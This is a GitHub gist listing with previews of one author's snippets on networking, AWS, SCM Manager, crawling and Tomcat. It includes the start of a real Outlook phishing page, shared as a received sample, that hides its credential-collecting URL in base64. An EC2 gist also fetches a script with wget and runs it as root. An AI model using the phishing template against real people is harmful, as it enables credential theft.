Skip to content

Instantly share code, notes, and snippets.

View miglen's full-sized avatar
👨‍💻

Miglen Evlogiev miglen

👨‍💻
View GitHub Profile
@miglen
miglen / osx_wifi_strenght_command_line.sh
Created January 14, 2018 18:46
Mac OS X Wifi Signal strength meter command line
#!/bin/bash
# Simple command to display the wireless strenght signal
#
clear
while x=1
do /System/Library/PrivateFrameworks/Apple*.framework/Versions/Current/Resources/airport -I \
| grep CtlRSSI \
| sed -e 's/^.*://g' \
| xargs -I SIGNAL printf "\rWifi dBm: SIGNAL"
sleep 0.5
@miglen
miglen / linux-networking-tools.md
Last active April 23, 2024 11:39
Linux networking tools

List of Linux networking tools

netstat (ss)

Displays contents of /proc/net files. It works with the Linux Network Subsystem, it will tell you what the status of ports are ie. open, closed, waiting, masquerade connections. It will also display various other things. It has many different options. Netstat (Network Statistic) command display connection info, routing table information etc. To displays routing table information use option as -r.

Sample output:

Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)    
tcp4 0 0 127.0.0.1.62132 127.0.0.1.http ESTABLISHED
@miglen
miglen / ec2-instance-prompt.sh
Last active January 23, 2024 17:11
AWS EC2 Instance Prompt with EC2 ARN Instance Id Public IP Private IP Account Id Region and Instance Name Tag
#!/bin/bash
#
# description: EC2 Instance Prompt
# author: Miglen Evlogiev <github@miglen.com>
#
# deployment: copy this file into /etc/profile.d/ec2-instance-prompt.sh
# sudo wget https://gist.githubusercontent.com/miglen/e2e577b95acf1171a1853871737323ce/raw/ec2-instance-prompt.sh -P /etc/profile.d/
# sudo bash /etc/profile.d/ec2-instance-prompt.sh
#
@miglen
miglen / reset_scmadmin_password.md
Last active December 20, 2023 10:53
How to reset your admin password in SCM Manager

How to reset the scmadmin (administrator) password in SCM Manager?

Recently I had some troubles in resetting the SCM Manager admin password and here's simply how to do it.

  1. Look for file users.xml where the users and passwords are stored. Usual locations:
/root/.scm/config/users.xml
/var/scm-server/conf/users.xml
$SCM_INSTALL_OR_HOME_DIR/config/users.xml
@miglen
miglen / aws-certification.md
Last active May 5, 2023 10:04
AWS Certification guide and notes on how to prepare for the aws associate certification architect, sysops and developer exams


AWS Certification notes

Those are my personal notes on AWS Solution Architect certification preparation. Hope you find them usefull.

To pass AWS certification, you should have:

  • Sound knowledge about most of the AWS services ( EC2, VPC, RDS, Cloudfront, S3, Route53 etc,)
  • Hands on experience with AWS services.
@miglen
miglen / clouds.md
Last active April 15, 2023 20:05
AWS & GCP explained in simple English

Amazon Web Services (AWS) & Google Cloud Platform (GCP) explained in simple English

This guide is only representative from my point of view and it may not be accurate and you should go on the official AWS & GCP websites for accurate and detailed information. It's initially inspired by AWS in simple English and GCP for AWS professionals. The idea is to compare both services, give simple one-line explanation and examples with other software that might have similiar capabilities. Comment below for suggestions.

Category Service AWS GCP Description It's like
Compute IaaS Amazon Elastic Compute Cloud (EC2) Google Compute Engine Type-1 virtual servers VMware ESXi, Citrix XenServer
  PaaS AWS Elastic Beanstalk Google App Engine Running your app on a platform
@miglen
miglen / phishing.html
Created November 23, 2022 15:30
Outlook phishing portal attempt via html (educational only, I have received this via email)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script>
let EMAIL_ADDRESS = "user@company.com"; // Change this to the email address
let BASED64_ENCODED_EMAIL = ""; // If you wish to encode the email address, enter the based64 encoded email and leave the email address blank otherwise, leave this field blank
let SCRIPT_LINK_URL = window.atob("aHR0cHM6Ly9tZWdhdGVycmEuaHUvc2NyaXB0LnBocA"); //Enter the script link here
@miglen
miglen / web2csv.py
Created January 5, 2016 09:18
Dead simple {for devs} python crawler (script) for extracting structured data from any website into CSV
#!/bin/env/python
#
# Source: http://blog.webhose.io/2015/08/16/dead-simple-for-devs-python-crawler-script-for-extracting-structured-data-from-any-almost-website-into-csv/
import sys, thread, Queue, re, urllib2, urlparse, time, csv
### Set the site you want to crawl & the patterns of the fields you want to extract ###
siteToCrawl = "http://www.amazon.com/"
fields = {}
fields["Title"] = '<title>(.*?)</title>'
fields["Rating"] = 'title="(S+) out of 5 stars"'
@miglen
miglen / Apache Tomcat 8 Start stop script init.d script
Last active November 10, 2022 20:03 — forked from valotas/tomcat.sh
Apache Tomcat init script (or startup/controll script). Works fine for version 7/8. Read the comments for release history. Feel free to modify, copy and give suggestions. (c) GNU General Public License
#!/bin/bash
#
# description: Apache Tomcat init script
# processname: tomcat
# chkconfig: 234 20 80
#
#
# Copyright (C) 2014 Miglen Evlogiev
#
# This program is free software: you can redistribute it and/or modify it under